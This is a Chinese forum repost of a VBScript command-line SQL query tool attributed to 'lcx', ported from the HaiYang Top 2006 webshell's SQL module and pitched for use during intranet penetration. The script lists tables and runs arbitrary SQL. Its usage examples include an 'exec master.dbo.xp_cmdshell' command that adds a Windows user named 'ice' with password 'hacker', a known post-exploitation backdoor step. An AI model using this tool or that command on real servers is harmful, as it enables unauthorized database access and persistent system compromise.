首页 电脑 电脑学堂 查看内容

vbs版sql查询分析器lcx作品

2009-9-25 16:30 991 0

摘要:   vbs版的sql查询分析器,该有的功能都有了   花了一点时间把以前的海阳顶端2006的sql模块改成vbs版了,和它的功能是一模一样的,不过用起来可能没有asp版的舒服,不过能用,可以用在do...

  vbs版的sql查询分析器,该有的功能都有了   花了一点时间把以前的海阳顶端2006的sql模块改成vbs版了,和它的功能是一模一样的,不过用起来可能没有asp版的舒服,不过能用,可以用在dos下了,渗透内网时估计你用得着。   if (lcase(right(wscript.fullname,11))="wscript.exe") then   echo "Execute it under the cmd.exe Plz! Thx."   echo "code by lcx"   wscript.quit   end If   if wscript.arguments.count<1 then   echo "Usage: cscript sql.vbs showTables e:\hytop.mdb或sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs;"   echo "usage: cscript sql.vbs query 连接字符串 <表名=default:""""> sql语句 <页数=default:1>"   echo "exp:cscript sql.vbs showTables "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)   echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"select * from name"&chr(34)&Space(1) & 1   echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"update....."&chr(34)&Space(1) & 1   echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"exec master.dbo.xp_cmdshell 'net user ice hacker /add'--"&chr(34)&Space(1) & 1   end If   Sub chkErr(Err)   If Err Then   echo "错误: " & Err.Description & "错误源: " & Err.Source & vbcrlf   Err.Clear   wscript.quit   End If   End Sub   Sub echo(str)   wscript.echo str   End Sub   Function fixNull(str)   If IsNull(str) Then   str = " "   End If   fixNull = str   End Function   Sub showErr(str)   Dim i, arrayStr   arrayStr = Split(str, "$$")   echo "出错信息:"&vbcrlf   For i = 0 To UBound(arrayStr)   echo (i + 1) & ". " & arrayStr(i) & "<br/>"   Next   echo vbcrlf   wscript.quit   End Sub   Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-   Rem 下面是程序模块选择部分   Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-   PageMsDataBase()   Sub pageMsDataBase()   Dim theAct, sqlStr   theAct = Wscript.Arguments(0)   sqlStr = Wscript.Arguments(1)   Select Case theAct   Case "showTables"   showTables()   Case "query"   showQuery()   End Select   End Sub   Sub showTables()   Dim conn, sqlStr, rsTable, rsColumn, connStr, tablesStr   sqlStr = Wscript.Arguments(1)   If LCase(Left(sqlStr, 4)) = "sql:" Then   connStr = Mid(sqlStr, 5)   Else   connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr   End If   Set conn = CreateObject("Adodb.Connection")   conn.Open connStr   chkErr(Err)   tablesStr = getTableList(conn, sqlStr, rsTable)   echo tablesStr & "================================================="   Do Until rsTable.Eof   Set rsColumn = conn.OpenSchema(4, Array(Empty, Empty, rsTable("Table_Name").value))   echo rsTable("Table_Name") &vbcrlf   Do Until rsColumn.Eof   echo "字段名:" & rsColumn("Column_Name")&vbclrf   echo "类型:" & getDataType(rsColumn("Data_Type")) & vbclrf   echo "大小:" & rsColumn("Character_Maximum_Length") & vbclrf   echo "精度:" & rsColumn("Numeric_Precision") & vbclrf   echo "允许为空:" & rsColumn("Is_Nullable") & vbclrf   echo "默认值:" & rsColumn("Column_Default") & vbclrf&vbclrf   rsColumn.MoveNext   Loop   rsTable.MoveNext   echo vbcrlf   Loop   echo "==============================================================="   conn.Close   Set conn = Nothing   Set rsTable = Nothing   Set rsColumn = Nothing   End Sub   Sub showQuery()   Dim i, j, rs, sql, page, conn, sqlStr, connStr, rsTable, tablesStr, theTable   sqlStr = Wscript.Arguments(1)   theTable = Wscript.Arguments(2)   sql=Wscript.Arguments(3)   page=Wscript.Arguments(4)   If Not IsNumeric(page) or page = "" Then   page = 1   End If   If LCase(Left(sqlStr, 4)) = "sql:" Then   connStr = Mid(sqlStr, 5)   Else   connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr   End If   Set rs = CreateObject("Adodb.RecordSet")   Set conn = CreateObject("Adodb.Connection")   conn.Open connStr   chkErr(Err)   tablesStr = getTableList(conn, sqlStr, rsTable)   echo "数据库表结构查看:"   echo tablesStr & "========================================================"   echo ">SQL命令执行及查看<:"&vbcrlf   If sql <> "" And Left(LCase(sql), 7) = "select " Then   rs.Open sql, conn, 1, 1   chkErr(Err)   rs.PageSize = 20   If Not rs.Eof Then   rs.AbsolutePage = page   End If   If rs.Fields.Count>0 Then   echo "SQL操作 - 执行结果"&vbcrlf   echo "===================="&theTable&"列名如下========================================"   For j = 0 To rs.Fields.Count-1   echo rs.Fields(j).Name & vbcrlf   Next   For i = 1 To 20   If rs.Eof Then   Exit For   End If   For j = 0 To rs.Fields.Count-1   echo fixNull(rs(j))& vbcrlf   Next   rs.MoveNext   Next   End If   echo "================================================================="   echo " 共有"&rs.Fields.Count&"列" & vbcrlf   For i = 1 To rs.PageCount   page=i   Next   echo " 共有" & page & "页"   rs.Close   Else   If sql <> "" Then   conn.Execute(sql)   chkErr(Err)   echo "执行完毕!"&vbcrlf   End If   End If   conn.Close   Set rs = Nothing   Set conn = Nothing   Set rsTable = Nothing   End Sub   Function getDataType(typeId)   Select Case typeId   Case 130   getDataType = "文本"   Case 2   getDataType = "整型"   Case 3   getDataType = "长整型"   Case 7   getDataType = "日期/时间"   Case 5   getDataType = "双精度型"   Case 11   getDataType = "是/否"   Case 128   getDataType = "OLE 对象"   Case Else   getDataType = typeId   End Select   End Function   Function getTableList(conn, sqlStr, rsTable)   Set rsTable = conn.OpenSchema(20, Array(Empty, Empty, Empty, "table"))   echo "存在以下表名:"   Do Until rsTable.Eof   getTableList = getTableList & "["& rsTable("Table_Name") & "]"&vbcrlf   rsTable.MoveNext   Loop   rsTable.MoveFirst   End Function
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部